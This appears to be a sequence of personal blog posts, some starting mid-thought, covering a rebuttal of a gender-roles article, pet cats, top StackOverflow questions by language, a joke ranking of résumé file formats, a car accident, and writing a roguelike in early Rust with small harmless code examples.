There were only 425 women on board in the first place, on a ship with over 2,000 passengers. Men outnumbered women 4-to-1. I wonder why that was? Women stuck at home looking after their children while the men went on a fancy expensive cruise, perhaps?

Here’s a little ASCII chart:

            saved       lost        total
women        316        109          425        26% lost
men          338       1352         1690        80% lost
children      56         53          109        49% lost

Women were still proportionally under-represented in the death toll, yes, but by three-to-one rather than thirteen-to-one. Oh, and half the children were lost, which is fascinating given the mention of “women and children first” in the next paragraph.

Compare that with last year’s wrecked cruise line, the Costa Concordia. It resulted in fewer deaths, but there was another significant difference. “There was no ‘women and children first’ policy. There were big men, crew members, pushing their way past us to get into the lifeboats. It was disgusting,” said passenger Sandra Rogers, 62.

I have enough faith in my species to believe that there are options between “everyone is an asshole” and “treat women like helpless delicate flowers”.

Why do women specifically need to go first? How about the crew, and everyone who’s capable, help everyone else get off a sinking ship? Your reproductive properties shouldn’t need to come into this. I, for example, own a penis, yet it does not imbue me with many skills useful in a physical emergency.

You see, the problem with equality is that it implies two things are interchangeable—meaning one thing can be substituted for the other with no ramifications.

But the truth must be heard. Being equal in worth, or value, is not the same as being identical, interchangeable beings.

Marriage was just described as an arrangement where two people work together “as equals”, like three paragraphs ago. And then second paragraph here seems to use “equal” in a good sense again. I don’t get it. Is “equal” supposed to be different from “equality” in this lexicon?

Men and women may be capable of doing many of the same things, but that doesn’t mean they want to.

And that’s exactly what feminism is saying. Women may be capable of doing the dishes, but that doesn’t mean they want to. (Again, if women wanted to do all the “women’s work”, why would the revelation that they don’t have to be causing conflict within marriages?)

That we don’t have more female CEOs or stay-at-home dads proves this in spades.

Or maybe we don’t have more female CEOs because becoming CEO requires a little more effort than turning in a stellar résumé, and there’s a years-long career advancement gauntlet that heavily biases towards men. Maybe.

Maybe those same sunnier employment opportunities for men also explain why there are fewer stay-at-home dads: it’s common for one parent to work, and if the entire employment system is orchestrated such that the husband has a better chance at a better job, well.

What a scummy thing to say.

Unless, of course, you’re beholden to feminism. In that case, you’ll believe the above is evidence of discrimination. You’ll believe what feminists taught you to believe: that gender is a social construct.

This, in an article that began by telling women to reject a “cultural script”. Somehow culture can tell women specifically what to do, but society doing the same is fundamentally different and also mythical, or whatever other wordplay headgame we’re playing here.

Those of us with children know better. We know little girls love their dolls and boys just want to kick that ball.

Sure. Some do. Do all?

The last paragraph said “social construct” with a sneer I could actually hear in my head, like it were some abstract nonsense. But this is precisely what it is, concretely: little girls have nothing else to play with but their dolls, and little boys have nothing else to play with but their balls. Toy stores are remarkably segregated by gender, with entire aisles color-coded pink and blue for the things toy manufacturers assume girls and boys will play with, and only girls and boys on the boxes.

Yes, any child could decide adamantly to fight the system and go in the wrong aisle.

How many would do that in practice? Granted, I don’t have children, but it’s my understanding that the developing human brain is spending most of its effort doing pattern matching: it wants to learn all it can about the world by absorbing patterns and figuring out what things are connected. Raising a child involves a whole lot of instruction in what Is Okay and what Is Not Okay, and the reasons are often arbitrary adult things like “that’s just how it is”. Why would a blank slate, seeded with this information and an arrangement of pre-selected toys with his/her gender plastered all over (something that is ingrained from day one as a very important criterion for discriminating between other humans), do anything other than assume he/she is Supposed To select from those and like them?

This is the heart of the problem egalitarianism seeks to solve: you aren’t even giving children a chance to decide otherwise. You are taking for granted that girls like X and boys like Y, and I guess assuming that people—children, even—will fight back against layers and layers of these assumptions held by millions of people and even published in a news article by the biggest media conglomerate in the country. All just to play with a doll.

What would you do, author, if your son genuinely enjoyed playing with dolls? I honestly wonder.

It just means each gender has its own energy that flows in a specific direction. For God’s sake, let it flow.

Or: each person has his/her own energy that flows in a specific direction; stop putting people in tiny boxes and let it flow.

The battle of the sexes is over. And guess what? No one won. Why not try something else on for size? Like this: men and women are equal, but different. They’ve each been blessed with amazing and unique qualities that they bring to the table. Isn’t it time we stopped fussing about who brought what and simply enjoy the feast?

“Oh, honey. Of course you’re equal to me. But you should make me a sandwich and get me my slippers because you’re a woman and I’m a man.”

It wasn’t so long ago—and it may still be true in some parts of the world—that “writing” was not considered one of the unique qualities afforded to women.

“Equal but uniquely different” is a dangerous mantra. I could swear history has taught us this a few times by now.

In mid December 2011, I bought a cat.

You can see where this is going.

Styx is a Sphynx, one of the hairless breeds. (Wow! Just like Dr. Evil’s cat! I have never heard that before! You are so clever!) Mel already had a sphynx, Twigs, and he pretty much sold me on Sphynxes being the best cats ever. Though I think Styx might have more of a Devon Rex personality and body shape, based on Mel’s cat breed book.

I’ve accumulated a mountain of cat photos, but only a few of them have seen the light of day. Let’s fix that! And please do pardon my shoddy attempts at composition and framing and white-balance and post-processing and otherwise trying to take photography more seriously than Instagram.

Here’s Styx as a kitten. You can only really get a Sphynx from a breeder, so we had to spend a day driving all the way down to the middle of nowhere in northern Oregon, some hours east of Portland.

Since you’re here, let me tell you my cute kitten story: when we arrived, all of the kittens went to hide under the far corner of the breeder’s bed. She was several minutes into a vain attempt at coaxing them out when I turned to look around the rest of the room and saw a lone kitten sitting out in the middle of the floor, staring at us. I went over and knelt down, said hi to him, and reached out to pet him—and he tilted his head and batted in the general direction of my hand several times, rapid-fire, with this ridiculous clumsy defiance. I knew I had to have this kitten.

Styx makes adorable sleepy-cat faces.

He also makes a very distinct little scowl.

Styx and Twigs like to lie together when we’re busy. Well, okay, usually Styx lies down somewhere and then Twigs sits on him.

They get into their fair share of cat battles, often after Styx refuses to be Twigs’s beanbag.

The fuzzy one there is Napoleon. He does his own thing most of the time, though occasionally I catch him grooming Styx’s ears (the only fuzzy parts?).

When not busy keeping a small section of our furniture warm, Styx is usually running around at breakneck speed, flipping the fuck out all over my bed, or knocking things off my desk and looking shocked when they fall to the floor.

I’ve also got this handful of photos of Twigs alone that are just too cool to resist including.

And if you cannot get enough of Photos Of My Cat On The Internet, I have also advanced the sum total of human culture by putting some videos on YouTube. Alas I don’t have recordings of Styx’s other trademark qualities, like his habit of sitting on shoulders or his strange ritual of leaving my room to go out to the living room and meow sadly because no one is around.

• Twigs loving a blanket
• Styx vs my belt
• Styx vs a chair
• Styx as a kitten, stumbling around and making tiny meows
• Styx as a kitten again, still having trouble smacking things
• Styx’s purr

Mel occasionally posts about Styx and Twigs too.

Having a bit of trouble finding a place to keep a three-foot-tall plush, though. He’s got a hook near the top of his flame, but hanging him from the ceiling doesn’t really help since he hangs down to chest level.

While I’m at it, my collection expanded considerably after our two-week vacation in Japan, and I finally got around to adding a new shelf to hold them all. So, here’s what my room looks like now…

I’m not too proud to admit that I might have a problem: where can I possibly fit more shelves?

But fear not! I have discovered a new and brilliant way to discern the novel features of a tool, the vibrance of its community, and its range of users all at once. In mere minutes.

Look at its ten highest-voted questions on StackOverflow.

I’m totally serious. Watch.

Python

The list.

The first three ask about how to use generators, metaclasses, and decorators—probably Python’s three neatest metaprogrammingish features.

Number 4 asks about running Python on Android, a common question that hints at Python’s popularity as a dynamic Java alternative.

Number 5 is about the equivalent of enum, which is a pretty common question (and garnered 35 answers, wow) about how to structure your program.

6, 7, and 8 are about checking for a file’s existence, becoming an expert in Python, and running an external command. Seems there are people who jumped to Python from shell scripting, and want to know how to use it more seriously.

9 is about the ternary operator, which was new at the time (and which is unusual enough that most newcomers don’t know it’s there).

10 is, um, Peak detection in a 2D array. Clearly some people are doing some cool number crunching and visualization with Python.

So what can we take from this?

• New Python developers are interesting in becoming proficient;
• Python has some novel features that developers are interested in understanding;
• Python appeals to sysadmins, app developers, and scientific computing.

Sounds pretty accurate to me. Let’s try something else.

PHP

The list.

Question 1 is about preventing SQL injection. Appropriately, question 10 is about which of the solutions to use.

Number 2 is about whether to use DATETIME or TIMESTAMP in MySQL. No, don’t worry, you didn’t miss anything; this actually has nothing to do with PHP whatsoever.

3 is a massive syntax reference. I’ve actually never seen a meta-question like this on SO before.

4 asks how to parse HTML. 7 asks about long polling, though the ultimate answer is more about JavaScript and Apache.

5, 8, and 9 are about how to store passwords, how to use bcrypt for passwords, and how to hash passwords.

These are substantively different types of questions.

• PHP is used overwhelmingly for Web development, and commonly with MySQL.
• PHP developers are confused by its syntax, and the documentation isn’t sufficiently helpful.
• Four of these questions are about security issues. You might take this to mean that PHP developers are security-conscious… or you might take it to mean that a lot of PHP code has security issues and nobody knows how to fix them. The interpretation is up to you, but do note that most StackOverflow questions are asked reactively.

It’s kind of hard to see what problems PHP is commonly used to solve; the only question about solving a particular problem in PHP asks how to parse HTML, and the answers are just “use one of these ten libraries”.

But PHP is aimed at the Web, so naturally it would be tied to a bunch of Web questions. I wonder what people ask about my pet Web framework?

Pyramid

The list. Note that these questions have far fewer upvotes than the top questions for PHP or Python, which makes them less likely to be statistically significant.

The first two ask about Pyramid vs Pylons and whether Pyramid is production-ready.

3 asks about output formats. 4 asks about user auth. 5 asks about form libraries. 10 asks about templating engines.

6 is a sort of code review request for a file upload implementation. The asker also asks if there are any unobvious vulnerabilities, and indeed the lone answer points one out.

7 asks about gzip compression, which doesn’t really have anything to do with Pyramid, but the top answer finds a solution anyway. 9 asks a strange, sparsely-detailed question about sqlalchemy that again has nothing to do with Pyramid.

8 asks how to debug Pylons apps with Eclipse. Neat.

These don’t really look like the PHP questions, either.

• Early adopters wanted to know whether Pyramid is stable yet. I expect this would happen with most technologies newer than StackOverflow; the oldest, and most relevant at the time, questions will be about what it can do and whether to use it.
• Pyramid users are interested in its builtin web development tools (templating, etc.) and how to use them.
• Along the same lines, Pyramid users want to use their fancy-pants debugging IDE with it.
• At least this one guy is interested in security issues he has not yet predicted. This is very different from asking about how to prevent a vulnerability you know only by name.
• Apparently, web developers in general can’t tell where their framework ends and other pieces begin.

This is fascinating, but time-consuming, so I’ll only do one more. I’m curious to see…

Rust

The list. Again, these questions have very few upvotes, since Rust is a new and unfinished thing. Let’s look anyway.

1 asks how Erlang compares to Rust. 3 asks if anyone has used Rust at all, and 4 wants some examples of Rust projects.

2 asks about typestate. 6 is confused about what “monomorphization” is, in either Rust or C++.

5 is about ranges, 7 is about accessing enum fields, and 9 features abuses of pattern matching. 10 wants to know how to use sockets.

8 reveals a weird cargo error.

So.

• Rust is new. Surprise!
• Rust is getting people interested in type system theory, which is cool. The typestate answer explains the concept in fantastic detail, as well as hinting at why the feature was effectively removed from Rust several releases ago.
• Rust users are not clear on how to use some of its features. This isn’t surprising, since Rust deliberately bucks some trends, but it does point to some potential deficiencies in the tutorial.

End

Okay, maybe this isn’t scientifically rigorous. Upvotes don’t have a precise meaning, and top questions will tend to stay at the top, and older questions have a bias, and genuine problems with a tool may have been fixed since the question was asked, and so forth.

But since upvotes are all about people, the top questions can tell you what other people think a technology is about, what they’re doing with it, and what problems they’re experiencing. Maybe give it a shot next time you’re thinking about trying out a new language, or deciding between two libraries.

Remember, there are no stupid questions! Only stupid software.

Like many employed engineers, I get roped into the hiring process from time to time. I don’t actually screen résumés, but I do grade some code tests, and the résumé is sent along with it—in case I find myself desperately seeking an explanation for receiving five hundred lines of JavaScript arranged as haiku.

In glancing over these résumés, I’ve observed a pattern: I’m far quicker to judge the file extension than the contents. It’s easy to lie or exaggerate in a document, but habits are far more difficult to hide. If you’re the kind of person who reaches for Microsoft Word, you’re still going to do that when writing a résumé.

I expressed this to Twitter, and not only did I get several people asking what formats I preferred, but I’m drowning in a deluge of suggestions for ridiculous résumé formats. Let us collect some here.

(Disclaimer: I don’t speak for my employer yadda yadda.)

docx: What the hell is this? Are you even a programmer? I haven’t had an office suite installed for years and I don’t plan to start now just to find out what dumb school you went to. I may open it as a ZIP and glance over the text nodes in word/document.xml; hope there’s no important formatting in here.

doc: This isn’t much better, and your office suite is ancient besides, but at least I can throw this at antiword and have a good chance of being able to read it.

pdf: Okay, sure. I apologize in advance for the horrendous mangling your hand-crafted masterpiece will experience when it encounters everyone’s HR systems from 1993.

pdf with only glyph strokes and no text information: Fuck you.

pdf clearly generated from LaTeX: Instant boner. Are you sure you’re in comp sci and not math? Maybe you want a LISP shop.

tex: Hired.

rtf: You’re either an idiot or as frustrated with the lack of light document formatting formats as I am. But it doesn’t matter because I still can’t read it.

txt: NICE, as long as it contains either RFC-style genuine plain text, Markdown, or ornate Unicode box-drawing decorations with emoji insets. Suggestions for appropriate monospace fonts a plus.

odt: This is still a pain in the ass for me to read, but kudos for trying, and double kudos for using a file format no HR department on the planet will recognize.

ps: Nice try, but I’m not a printer. Cross your fingers and hope Inkscape gets it right.

html: There is something very fundamentally wrong with emailing HTML as an attachment. If you’re so familiar with HTML then maybe you should get, like, a website.

xls, ods: Allow me to respond with this chart of how much I hate you.

xps: You are out of your goddamn mind. I’m intrigued.

xml + xsl: I’ve had enough XSLT for one lifetime, thanks.

link to a shared document on Google Drive: It appears you work for Google and they won’t let you have a real computer, only a Chromebook. They’re probably paying you more than anyone else can, so it doesn’t much matter whether we make an offer.

py: Putting your entire program in a single file is poor form. This should be a bdist egg.

exe: Acceptable only if this is a crack for expensive obscure software released in the past 15 days. I will also be judging you based on the sweet trance music that plays while it’s running.

swf: Unless this is a vim swap file, get the fuck out. If it’s a vim swap file, you direly need to delete/recover some old files, and then get the fuck out.

iso: I’m aware of precisely one psychopath who has created a disk image that boots into the OS he wrote and displays his PDF résumé. No other form of .iso submission is acceptable.

c: goddammit kevin

jpg: Now you’re just fucking with me. A text-heavy image should be a PNG.

anything that 0-days my machine: You can have my job.

The cashier asked, with a knowing smile, “For your wife?”

Well, naturally, because dudes don’t have fingernails. That’s why guys have all the jobs where fingernails would be a hindrance or hazard, like programming or rock-climbing or making more money.

I told him “no, for me” with a sigh, and only later realized that he’d think I was sighing at myself rather than him. Whoops.

I twatted something similar last night, while looking on Amazon for lounge pants (which, let’s be honest, are just pajamas). The same category tree exists for both men and women, yet there is quite an obvious difference between men’s loungewear and women’s loungewear. Or even, hell, men’s socks and women’s socks.

I just want neat abstract patterns in nice colors. Instead, I get:

• Solid dark blue, solid black, solid dark black
• Plaid, usually prominently featuring the above colors
• Bad tessellation of a beer logo
• Stock artwork of Stewie Griffin saying something from a Family Guy episode that first aired in 1999

Y chromosomes must self-destruct in the presence of saturation, or something.

So someone hit my car last week.

It was parked on the curb, right in front of my house. (We have four cars and a packed garage, so.) I heard a super loud smack, but thought someone had dropped a large appliance on the sidewalk until Mel appeared in my doorway with someone hit your car.

Outside I scurried in pajamas and slippers (working from home is awesome) and I beheld the scene you see inset. The driver was very apologetic, and luckily unharmed. She’d been fiddling with something on her dashboard and wasn’t even looking at the road, so she hit my car at full speed. The photo is framed as it is because my car had been parked with its rear wheel on that grate, and with the parking brake on. That’s how far she knocked it. (Speed limit on this street is 25, by the way.)

I felt kinda bad for her, but at the same time, that this even happened is terrifying. I don’t know if a human being would have survived the same impact. She said she’s “normally such a safe driver”—I guess she’s only a dangerous driver sometimes, then, and it turns out those are the times when you hit things.

Called 911; couple police cars came to direct traffic around her and file an accident report, and a flatbed tow truck took her car off. I had to leave my car “parked” in front of a fire hydrant overnight, because the rear axle was bent so much that it doesn’t move at all.

My car was towed to a local shop the day after; they called me back earlier this week with an estimate around $7400. The driver’s insurance is paying for absolutely everything without question, though, so I shouldn’t be out a dime over this. I have a rental in the meantime.

This is actually the second time this has happened; early this year I was street-parked on the other side of the street, and I awoke to find a conspicuous dent in the driver’s side door. And when I say “dent”, I mean it spanned the bottom of the door up to the window; looked like a shopping cart had hit it at an angle while going 40. I’d only slept for a few hours the night before, and Mel had been awake through the night, but neither of us heard or saw anything. Don’t know what happened or who did it. I thought it would be a simple fix, but the shop had to replace the entire door, I had to pay a few hundred deductible, and my insurance went up. Super.

I’ve never hit anything, never gotten a ticket, never even been pulled over. I live in a fairly sleepy town, not on a major road. And in two years my car has been hit twice, while parked at home. I’m just gonna start parking on the lawn.

Here are some photos of my poor darling car. Consider this a test of this fancybox plugin.

By the way: she was elderly, and had a handicap permit hanging from her rear-view mirror. Were you envisioning a young adult or middle-aged woman? How does the story change, now? I don’t know.

One of the last things she said to me was “I shouldn’t be driving”. Hm.

For example, during this most recent event, I wrote a roguelike. In Rust.

Long-time readers may recall that I’ve attempted to write a roguelike before, in Python, but fell prey to architecture astronomy. This time would be different! Because I would only have 30 hours. Also because static typing limits my options, thus making it easier to overcome choice paralysis. (It’s a working theory.)

But first: a bunch of people have asked what I think of Rust, and now I’ve actually written something approaching a real program in it, so let’s start there.

On Rust

The best way I’ve found to describe Rust is: C, if it were invented today, by a guy who only knows Haskell. It’s aimed at systems programming and translates to machine code about as intuitively as C, but it’s memory-safe, type-safe, and built on closures and pattern matching. It makes a lot of C tricks first-class, it’s binary-compatible with C, and it tries hard to avoid all the pitfalls of C.

I’m trying very hard not to make this a full-blown tutorial (you can read the actual Rust tutorial if you’d like), but rather a quick overview of why I’m drawn to this language.

Memory-safety

You cannot dereference a null pointer, free memory twice, or leak memory in Rust.

Rust has two primary pointer types. “Boxed” pointers look like @T and are garbage-collected. This is baby mode, but it frees you from ever caring about memory management at all. Unique pointers look like ~T and, as the name suggests, cannot be copied.

There is no explicit allocation or deallocation. If you want some memory, you directly create a struct or vector or whatever, and that memory will be freed as appropriate for that pointer type. Boxed pointers go away when no longer referenced; unique pointers go away when they go out of scope. And there’s no pointer arithmetic, so you can’t cheat the system.

Rust also has “borrowed” pointers, which look like &T and mostly appear in function signatures. If an argument expects a borrowed pointer, any pointer type can be passed in, and Rust will quietly convert it. Borrowing is also the easiest way to pass a unique pointer into a function (as that would otherwise perform a copy): the program will only compile if Rust can prove that the original pointer stays untouched until the function returns.

(By the way, I’m lying. This is a systems language, after all; you can create null pointers, you can leak memory, you can do pointer math until the cows come home. But you have to actively try, via functions tucked away in the core library, and you have to wrap it all in an unsafe block—which has no semantics other than “when my program segfaults, this is why”. Also, there’s a fourth pointer type *T which indicates a C pointer, and naturally that can be a source of problems, but you generally only see those when wrapping a C library.)

Type-safety

Rust has very strong typing. Even built-in numeric types have to be explicitly cast back and forth. Pointers and structures can only be cast “upwards” to classes, never downwards or sideways.

(Again, I’m lying. You can cast whatever you want to whatever you want, if you use an unsafe function in the stdlib. But the core syntax doesn’t allow it.)

Inference and generics

Outside of function signatures and struct definitions, you rarely need to give an explicit type to Rust. It’ll usually figure out what you mean.

Unadorned integers are also type-inferred: if you pass a 4 to a function expecting a certain numeric type, Rust will infer that type for the 4. This even works for assigning constant numbers to variables without giving an explicit type, though of course your program won’t compile if you try to pass that variable to functions expecting different types.

Generics have a syntax I can actually understand. Also, you don’t need to put all your generic code in header files and recompile it every time; as I understand it, a Rust library contains the AST for each generic function it exposes, so compiling a new variant is quick and easy.

Type inference also applies to generics, including their return values. You very, very rarely have to qualify a generic after defining it.

Functional features

Rust has closures. I don’t know how they made this work with a systems language; virgin sacrifices may be involved. The syntax is a bit like Ruby blocks, and in fact there are two built-in structures for passing a closure like a Ruby block.

do is syntactic sugar for passing a closure as the last argument to a function:

do foo(a, b, c) |arg| {
    // ...
}

for is similar, but allows the closure to return True or False to indicate whether iteration should continue.

So a foreach-style iteration is easy.

for [1, 2, 3].each |n| {
    io::println(fmt!("%d", n));
}

Hey, that looks like a method. So, there are methods.

Classes

Let me back up here a bit. When I wrote the PHP article, I picked on the existence of a private keyword; I prefer the Perl and Python approach of indicating non-public API with a leading underscore, so that third parties using the code can dig into the internals if absolutely necessary.

But then, there’s another problem besides method hiding that private clumsily tries to solve. In most OO systems, method and attribute names are separated horizontally—that is, class A and class B can both have a method foo with no risk of collision. But there’s no vertical separation: if a class C inherits from both A and B, and their foo methods aren’t intended to do the same thing, C will have a sticky mess on its hands.

Interfaces make this problem far worse, because any interface may expect to be applied to any class, and so the methods it requires can be considered as reserved, globally, throughout the entire language, forever. Core Python sneaks around this problem by only defining “interfaces” in the form __foo__, and declaring that all such names are reserved for future use. Third-party code is not so lucky.

Ironically enough, interfaces are dragging OO back to the bad old days of C, where every name is global and you have to use some kind of name munging to avoid possibly conflicting with whatever other libraries a program might link against. Curses defines a function called erase? No library, anywhere, ever again, can ever use that name now. Serializable requires a method called readObject? Same thing: no library, anywhere, ever again, can ever use that method name.

It struck me that what we really need instead of private (which, of course, doesn’t help the interface problem at all) is scoping for method names. Python modules, for example, are all distinct namespaces, but they can be assigned to any name (because they are first-class) and items from one namespace can be imported into another easily. Why can’t we have this kind of behavior for methods? Instead of __get__, let me define a method on my class called core:get. Then I can also have my own get, and maybe some third-party framework will have a sprocket:get, and so forth. And the namespace names, just like class and module names, are themselves just incidental rather than shared globally.

I didn’t follow this train of thought far enough to figure out how calling works and when it’s okay to omit the namespace, but it sounded reasonable enough so far.

Anyway, it turns out that (a) Haskell already had a way better version of this same idea and called it a type class, and (b) Rust already had them implemented by the time I explained all this to a Rust dev I know.

So that’s cool. Here’s how “classes” work in Rust.

Objects, fundamentally, are nothing more than state and behavior. (I don’t care what your CS prof says. Information hiding and inheritance and whatever else are not fundamental features of OO.)

In Rust, the state and behavior are separate. Here’s some state:

struct Car {
    num_wheels: uint,
    gas: float,
}

Creating a car object is easy:

let car = Car { num_wheels: 4, gas: 9.0 };

(This creates the entire struct on the stack. You could also say @Car... for a boxed pointer, and so on. Method and attribute access works the same way on structs and pointers to structs.)

To give it some behavior, you can create a trait, which is like an “interface” if you must, except the method names are scoped to the trait. The actual implementation is separate from both the struct and trait definitions.

trait Vehicle {
    fn drive();
}

impl Car: Vehicle {
    fn drive(self) {
        if self.gas == 0.0 {
            io::println("out of gas!");
        }
        else {
            io::println("vroom vroom");
        }
    }
}

Now you can call car.drive(). If there are two traits in scope that both define a drive method, this will fail to compile, and you’ll have to explicitly state which one you meant. (There is, ahem, not yet syntax for actually doing this, but the idea is sound and all.)

For functionality unique to the class, you can create an anonymous trait, which is really just an implicit trait with the same name as the class.

impl Car {
    fn retract_sunroof() {
        // I can't think of many operations that only apply to cars
    }
}

Any type can be given an implementation for any trait. (ANY type. Structs, enums, scalar builtins, whatever.) So I can write a serializer, define a trait for types that can be serialized, and write implementations for the builtin types and my own classes and classes from whatever other libraries I want. No need to befriend anyone, monkeypatch anything, overload functions, or mess with your namespace.

This isn’t to say that Rust has no notion of visibility; in fact, everything in a module is private by default unless explicitly marked pub. (Struct fields are public, though.) But classes aren’t particularly special in this regard, and in fact any code in the same module as an impl can call any of its methods, private or not.

Enums

There are C-style enums, which result in a bunch of constants with increasing integer values. But that’s boring.

The other kind of enum is like a tagged union. Here’s an enum from the standard library:

enum Option<T> {
    None,
    Some(T),
}

This means: you can have a variable of type Option<T> and you know that it is either tagged as None with no data associated with it, or tagged as Some with a variable of type T associated with it. It’s like Haskell’s Maybe, except nobody is saying “monad” here.

So this is how Rust handles optional values. To get at that stored data, you need to do a match:

let maybedata = Some(123);
match maybedata {
    Some(data)  => io::print(fmt!("found %d\n", data)),
    None        => io::print("found nothing!\n"),
}

A particularly neat part here is that a match block requires, at compile time, that the match be exhaustive. If I’d left off the None branch here, the block would be invalid.

C pitfalls Rust avoids

Everything is immutable by default. If you want to be able to change a value, you have to ask for it.

Vector indexing is always bounds-checked.

There are no header files. A compiled library knows, in Rust terms, what it exposes.

Macros (which exist, btw) operate on the AST rather than being dumb text replacements.

Everything is namespaced, Python-style. You can import a module and qualify everything in it, import a handful of particular items from a module, and rename anything you import to avoid name clashes.

On clio

Back to that program I wrote. clio is the name of my Rust roguelike attempt; “Raidne” was the Siren associated with improvement (who knew that Sirens had themes!), and “Clio” was the Muse associated with history and symbolized by scrolls. That seemed appropriate for a game I expect to be heavily inspired by NetHack.

This was a particularly terrible endeavor not just because I was using an obscure language, but because it has no curses bindings. So step 1 was to invent the universe. I’d been dabbling with that on and off leading up to the hackathon. I called the library amulet, because it’s a Rust-y thing meant to save you from curses. Ha HA!

Things I learned about curses

It is terrible. So, so terrible.

It defines like a hundred functions. Half of them are shortcuts that don’t take an invocant and operate on a global window object. Half of them are shortcuts that move the cursor before operating. These halves overlap, so a quarter of them are both. Also, a vast number of these are actually macros.

I wanted to use Unicode characters, and this required using a special build of the library which defines even more variants of every function. On the plus side, this meant that characters were passed around as structures rather than as ASCII codepoints binary-ORed with flags for appearance (e.g. bold, underlined, etc.).

Okay, well, none of this is really world-ending yet. I wrapped bits and pieces of the library, used some example programs as inspiration, tried to mold it into something that felt native to Rust.

Then I tried to use colors.

You see, curses doesn’t let you use colors directly; you must define “color pairs” and attach them to arbitrary numbers up to a limit that may vary by build or system. Then you style a character by, again, binary-ORing a shifted pair number with the appropriate character. Also, it’s impossible to set only the foreground or background, since everything works via pairs, and so there are some hacks to make this work by defining color -1 as the “default”.

My impression is that this is genuinely how color settings on terminals used to work; there are, in fact, termcap entries for defining color pairs and switching to a given pair. (There are also termcap entries for redefining colors, to any arbitrary RGB tuple, and they work! I’ve yet to see a program do this, though—possibly because it’s terminal-wide and would screw up a multiplexer. Still, there’s no reason a multiplexer couldn’t intervene and compensate…)

After some dicking around with this, I also discovered that Arch’s ncurses library is not built with 256-color support. Fantastic. I don’t really understand how this makes any sense at all, since I’m currently typing in a vim inside tmux, and both are using 256-color themes just fine.

I started to notice that I was doing a lot more work translating curses’s API into something not designed in 1970 than curses was probably doing by itself, so towards the end I veered in the direction of dropping curses entirely and just working with terminal capabilities directly. (Given that vim and tmux are doing 256-colors despite no curses support, I assume they did the same.)

This is when I made a shocking discovery that has somehow eluded me all these years: termcap and terminfo are part of curses. The specification, the files, the C interface for reading the files, even the reset program: it’s all part of ncurses.

But this part of the story ends kind of abruptly, since I was trying to actually build something rather than just write a library. I got color working well enough, I got Unicode working, and I dropped amulet for the time being. (But I do intend to use caps in the future, rather than contorting to fit the “high-level” curses API.)

Things I learned about Rust

I’d actually been excited about Rust because I thought it would let me build componentized entities much more easily, what with the ability to implement any trait on any type.

It didn’t occur to me until I’d sat down that this doesn’t really fit how component-entity works. I’d need to be able to implement a trait on a particular instance, which doesn’t make a lot of sense in a static language.

Well, still. Off I went, hoping to avoid the pitfalls of round 1.

I don’t know how much of this will make sense without some deeper familiarity with the language; again, if you’re interested, the Rust tutorial is a good read.

Perils of borrowing

I started out the evening before the hackathon, and got as far as a symbol that could walk around an enclosed area. The first morning of hackathon proper, I kind of got stuck.

See, in Python-y style, I wanted to write a method for maps that would let me iterate over the entire grid with one loop. Something like this:

for map.each_cell |x, y, cell| {
    // draw something, probably
}

Alas, no amount of contortion made this work. Rust complained, every time, that I was borrowing a pointer to “mutable, aliasable” memory. The problem was that the implementation looked like this:

fn each_cell(cb: &fn(x: uint, y: uint, cell: &Cell) -> bool) {
    for self.grid.eachi |x, col| {
        for col.eachi |y, cell| {
            cb(x, y, cell)
        }
    }
}

Rust objected to borrowing cell. After much head-scratching and talking to #rust, I had an explanation.

At the time, I was using unique pointers for the map and grid and cells and basically everything, because it didn’t seem like I had any reason to be duplicating pointers. In the code above, cell is an element of a mutable vector, self.grid. The issue, as I understand it, is that the caller also has a reference to self, and Rust cannot be absolutely certain that other code won’t overwrite self.grid[x][y] inside cb. If that happened, the cell (which is a unique pointer!) would be freed, and the variable cell would point to free memory.

This is an unfortunate state of affairs, and I’ve run into it several times now when trying to write convenience iterators for a mutable grid of data. #rust proposed that the basic each methods should pass copies to the callback instead of borrowing, which is unfortunate in its own way. I don’t see a particularly clean way to resolve this problem yet. (I ended up just using nested loops.)

Borrowing constants

Rust supports top-level constants, which get written statically into the library. It seemed reasonable for me to use constant structures to hold entity definitions, e.g., the floor should display as a dark gray “·” and be passable.

This was surprisingly awkward.

1. First, curses. I’d rigged amulet to pretend color pairs don’t exist and instead generate them as necessary for each unique pair of foreground+background it ran across. This worked fine in simple tests, but when I added colors to my entity prototypes, they didn’t work at all.

   Long story short: I was defining the color pairs before initializing curses, and curses clears out all its color pairs on initialization. Super.

2. You can’t define constants as pointers; the values don’t have addresses at compile time! So my plan was to define plain structs, then store a pointer to one of them in each entity. The only appropriate pointer type was the borrowed pointer, which is the type you get when you use the address-of operator, &. This all appeared to work, until an hour or two later when I wrote some code in a completely unrelated place and got a stack explosion.

   Long story short, again: this didn’t quite make sense. I was borrowing a pointer, then storing it in a struct and returning it to somewhere. It was a pointer to static memory, but once I’d returned the struct, Rust had no way of knowing that, and the wrong combination of operations made it extremely confused about when that pointer was meant to expire.

   The solution was to use a type of &static/Prototype instead of merely &Prototype. The static/ part defines a lifetime, something the compiler usually infers to help enforce that borrowed pointers don’t outlive the original data. static is the only builtin lifetime name, and it refers to any static data, i.e. constants. This convinced Rust that I could safely borrow the original prototypes for as long as I wanted, and all was well.

   The lesson here is that storing &T in another structure for any length of time probably doesn’t make any sense. But &static/T is always kosher.

Minor gripes

While I appreciate having to be explicit about type conversions, it has its downsides as well. Converting a 32-bit integer to a 16-bit integer clearly carries some risk of overflow, so having the conversion explicitly marked with as i16 is helpful. But converting an 8-bit integer to a 16-bit integer is absolutely harmless, and the as i16 becomes noise that’s difficult to discern at a glance from genuine problem areas. I ran into similar problems trying to define a Point struct with only unsigned integers; I couldn’t subtract without hellacious constructions like (x as int - 1) as uint.

You can’t “convert” ~T to @T at runtime or vice versa. The two are stored in completely different memory pools.

Rust doesn’t have very good stdlib support for boxed vectors yet. Most functions expect and return ~[], and most vector methods are defined on ~[]. (The stdlib is still clearly a work in progress overall; there’s a lot of cruft from Rust’s early days as a fairly different language, and a lot of clear omissions when compared to e.g. Ruby, Python, Java.)

Final product

There are two rooms, connected by a hallway. You can walk between them, beat up a guy, and pick up a scroll which shows in your inventory but which you cannot use and which does nothing. Also, you can die.

Here’s the general approach I took. The entry point looks like this:

world.run(interface);

The game world runs its own main loop, and communicates to the display via an “interface”, which is a trait that currently only has one implementation. (For terminals. Obviously.)

At the start of each turn, the world loops over every thinking actor on the map and offers it the chance to act. (It’s actually a little more complex, as there’s a concept of how long actions take. It works kinda like NetHack, though I think I had the same idea semi-independently.) In the case of the player, this calls an interface method that asks for the next action to take, which in the terminal case blocks on keyboard input. In the case of a monster, some pretty dumb AI generates an action.

